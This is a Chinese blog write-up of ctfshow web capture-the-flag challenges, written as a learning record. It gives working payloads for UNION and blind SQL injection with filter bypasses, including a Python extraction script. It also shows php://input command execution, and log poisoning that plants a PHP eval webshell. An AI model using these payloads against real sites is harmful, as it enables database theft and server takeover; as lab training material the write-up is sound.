赞
踩
记录一些web的知识点,本人刚开始学习web很多资料都是借鉴大佬的,许多复现的过程都是大同小异的,写的菜了请大佬们下手轻点
一道简单的入门题
打开环境发现只有一串英文,flag在哪
按CTRL+u查看源码发现一串字符串:Y3Rmc2hvd3s4YTcwYzcxOS04NmQwLTQ0MTAtOTBjYS0zMjdkNjkxOWQyYzN9
根据特征发现是base64,到在线网站去解密得到flag
flag:ctfshow{8a70c719-86d0-4410-90ca-327d6919d2c3}
提供一些SQL的知识点:
Tables_name:表名
Information_schema.tables:储存MySQL数据库下面的所有表名信息表
Column_name:列名
Information_schema.columns:储存MySQL数据库下面的所有列名信息的表
打开环境是一个登陆界面,输入用户名输入admin,密码随便输入(我输入的是123),然后用burp进行抓包
然后把抓取到的数据发送到Repeater模块,试一下万能密码:'or 1=1#
username=admin'or 1=1#&password=123
发现登录成功(有回显)
接着查看回显位置:
username=admin'or 1=1 union select 1,2,3#&password=123
有回显,查找2中的数据库名:
username=admin'or 1=1 union select 1,database(),3#&password=123
发现数据库位于web2,查询web2库下的所有表名:
username=admin'or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema='web2'#&password=123
查询flag表下的列名,回显列名flag:
username=admin'or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#&password=123
最后查询列名内容,找到flag:
username=admin'or 1=1 union select 1,flag,3 from flag#&password=123
flag:ctfshow{26b1461e-0971-4c2f-9d3a-6230e61cfdb8}
打开环境,看到这道题目提示我们可以知道这是一道php伪协议+文件包含漏洞的题目,
在url的参数中提交PHP伪协议
?url=php://input
使用bp抓包,在POST请求中输入需要执行的PHP代码,比如:查看当前目录下的文件
<?php system('ls');?>
看到response返回了ctf_go_go_go和index.php的两个文件,只需要替换左边第二个框里面的内容
<?php system('cat ctf_go_go_go');?>
执行完指令后出现了flag
ctfshow{e44bad1d-e729-486c-9c7d-82fa4d406f0b}
打开环境,提示我们利用文件包含漏洞
包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息
?url=/var/log/nginx/access.log
然后使用bp进行抓包,在请求头User-Agent中插入一句话木马
<?php eval($_POST['a'])?>
再次访问日志文件, 会发现新增了一条访问记录, ,但没有我们插入的一句话木马,这很正常,因为日志文件中的代码会被执行,而不会显示
接下来我们使用蚁剑等工具链接后门即可
使用蚁剑的文件管理功能,www目录下有一个flag.txt文件,很明显flag就在这里面
最后得到flag
ctfshow{14b1989e-f088-46cf-8f67-8896f23fc646}
打开环境,根据给的php代码可以看出来,这题需要传递两个参数,如果两个参数的MD5值相同,就可以得到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lq7gDpjc-1663399168943)(C:/Users/Administrator/AppData/Roaming/Typora/typora-user-images/image-20220911030411353.png)]
推荐直接利用MD5的0e漏洞进行绕过,可以参考这篇博客0e漏洞是如何绕过的:https://blog.csdn.net/wangyuxiang946/article/details/119845182
构造一个payload,进行一个绕过拿取flag
?v1=QNKCDZO&v2=240610708
ctfshow{4e4c56af-acc4-4f29-b371-b098287317a4}
打开环境是用户名密码登录,我们首先第一个想到的就是sql注入了,用万能账号试一试,密码随便输
' or 1=1#
出现了错误:sql inject error,然后用bp抓包
通过抓包可以知道空格被注释掉了,所以要把被注释掉的空格给替换了,一般空格被过滤了有这些替换:/**/,(),回车(url编码中的%0a),`(tab键上面的键),两个空格
就用第一个/**/来替换空格
'/**/or/**/1=1#
发现可以登录,然后手工注入寻找flag在哪,order by查询字段为:
username='/**/or/**/1=1/**/order/**/by/**/3#&password=123
查询字段为3,回显的字段数为:
username='/**/or/**/1=1/**/union/**/select/**/1,2,3#&password=123
回显的字段数为2,数据库名:
username='/**/or/**/1=1/**/union/**/select/**/1,database(),3#&password=123
数据库名为web2,查询web2下所有表信息:
username='/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#&password=123
得到两个表flag和user,查询指定表名下flag下的信息:
username='/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=123
查询flag下的数据:
username='/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=123
最后得到flag:ctfshow{ef851e51-e1c8-42a4-9695-b99f73b0b448}
打开环境,看到三个文章列表,随便打开一个,在url看到有?id=x的参数,所有存在SQL注入点:
使用?id=1 and 1=1#或者?id=1 and 1=2#来测试,我使用的的是:
/id=1 and 1=1#
出现了错误:sql inject error,猜测一下是注释掉了空格用/**/来替换,构造下面的payload使SQL恒成立
?id=1/**/and/**/1=1#
构造下面的payload使SQL恒不成立
?id=1/**/and/**/1=2#
可以看到页面显示的是空白,由此可以判断页面存在SQL注入,注入点为数值型注入,尝试一下联合注入进行脱库,传一个?id=-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮我们判断字段显示的位置,在此之前先构建一个order by查询字段:
?id=1/**/and/**/1=1/**/order/**/by/**/3#
查询字段为3,回显的字段数为:
?id=-1/**/union/**/select/**/1,2,3
回显的字段数为2,数据库名:
?id=-1/**/union/**/select/**/1,database(),3
数据库名为web7,查询web7数据库下所有表名:
?id=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3
得到三个表,主要是要得到flag,所以接下来查询指定表名下flag下的信息:
?id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3
查询flag表下的flag字段,获得flag:
?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
最后得到flag:ctfshow{a6ff6fbd-9bfa-4d84-8a8c-8a21ed879ff1}
打开环境,和上题类似都是SQL注入的题,根据上一题的经验这题也过滤掉了空格,构造payload
?id=1/**/and/**/1=1#
提示了sql注入错误,那么and被过滤了,那么考虑把and换成or进行注入
?id=1/**/or/**/1=1#
有显示然后进行联合注入,构造payload
?id=-1/**/union/**/select/**/1,2,3
提示SQL注入错误,说明联合注入被过滤掉了,只能采用其他的方法注入了,提示一下被过滤可以替换的:
过滤空格:可以使用注释/**/或者%a0绕过
过滤and:可以使用or代替
过滤联合注入:可以使用盲注替代联合注入
过滤逗号:可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
因为联合注入被过滤了,所以只有用盲注来代替,盲注可以参考这篇博客:https://blog.csdn.net/weixin_49150931/article/details/111829828
由于盲注脱库比较复杂, 网上找了Python脚本进行自动化脱库, 脚本来自此博客:https://blog.csdn.net/Critical_plus/article/details/108120414
import requests s=requests.session() url='http://9731a937-0a92-49ac-80e4-363fd8642428.challenge.ctf.show/index.php' table="" for i in range(1,45): print(i) for j in range(31,128): #爆表名 flag #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #爆字段名 flag #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) #读取flag payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j)) ra = s.get(url=url + '?id=0/**/or/**/' + payload).text if 'I asked nothing' in ra: table += chr(j) print(table) break
通过盲注的脚本得到flag,得到的flag少一个}自己补上就行
最后得到flag:ctfshow{cadf1f98-3d84-40ed-bb45-cd3411f42713}
打开环境,这题也是登录框的题,简单的尝试了万能账号已经过滤绕过,各种方法均没有回显,又继续查看源码,也没有提示,猜测可能有其他的页面,对网址的后台进行扫描,用dirsearch扫描网址的目录:
在Windows下:
python3 dirsearch.py -u http://a51561a4-315b-418d-b70b-2d4dcd65aa4a.challenge.ctf.show/
在Linux的kali下:
dirsearch -u http://a51561a4-315b-418d-b70b-2d4dcd65aa4a.challenge.ctf.show/
在扫描网址目录中存在robots.txt,说明一下robots.txt是一个文本文件,也是一个协议,规定了爬虫访问的规则(哪些文件可以爬取,那些文件不可以爬取)
打开robots.txt,提示打开/index.phps
然后访问/index.phps文件,将其下载到了本地,从给的源码中发现了SQL中使用了MD5()函数加密,可以利用MD5加密漏洞来绕过
网上大佬给出的一个万能密码,可以参考这篇博客:https://www.cnblogs.com/tqing/p/11852990.html
ffifdyop
最后得到flag:ctfshow{310dbdcf-dcfa-42e6-9eea-ea10cc941cf1}
打开环境,又是一道登录的题,猜测是SQL注入的题
有点出乎意料,点击下载就可以拿到源码,然后下载到本地
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
从源码中得知几乎把SQL注入用到的关键词过滤的差不多了
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
然后这两条限制使得无法通过双写绕过,发现没有过滤group by 和with rollup 函数,这里介绍一下group by 和 with rollup 两个分组函数,with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
然后就可以构造payload:
username='/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
最后得到flag:ctfshow{95e0644a-0c76-4163-a78f-4cdd509bd0b8}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。